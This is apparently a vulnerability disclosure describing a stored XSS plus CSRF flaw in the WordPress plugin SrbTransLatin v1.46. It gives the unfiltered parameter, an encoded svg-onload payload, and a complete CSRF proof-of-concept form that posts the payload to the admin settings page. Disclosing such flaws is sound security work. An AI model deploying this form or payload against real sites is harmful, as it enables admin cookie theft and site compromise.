Well ,sir ,I just found a Stored-XSS bug and a CSRF bug at wp-plugin SrbTransLatin.
When the admin user click the "Update Options" button in the SrbTransLatin setting page, we'll post some data to:
http://localhost/wordpress/wp-admin/options-general.php?page=srbtranslatoptions
But when I pentest the parameter in this plugin, I found when I write something into this point, it does not filter well.
Weak data parameter:
lang_identificator=script%27%22%3E%3Csvg%2Fonload%3Dalert%28123%29%3E%3C%27%22
Well, the stored-xss here need to combined with a csrf bug. Because no csrf protection here, we can cheat the admin user to visit the evil html on the evil site.
POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=srbtranslatoptions" method="POST">
<input type="hidden" name="lang_identificator" value="script'"><svg/onload=alert(123)><'"" />
<input type="hidden" name="stl_default_language" value="cir" />
<input type="hidden" name="file_lang_delimiter" value="=" />
<input type="hidden" name="sanitize_file_names" value="on" />
<input type="hidden" name="Submit" value="Update Options" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
In a word, if the manager could be cheated to visit my evil html on my site, I can get the manager's cookie easily, or do something more evilly.
Well, by the way, I just test the bug in the wordpress 4.9.1 and the wp-plugin SrbTransLatin v1.46.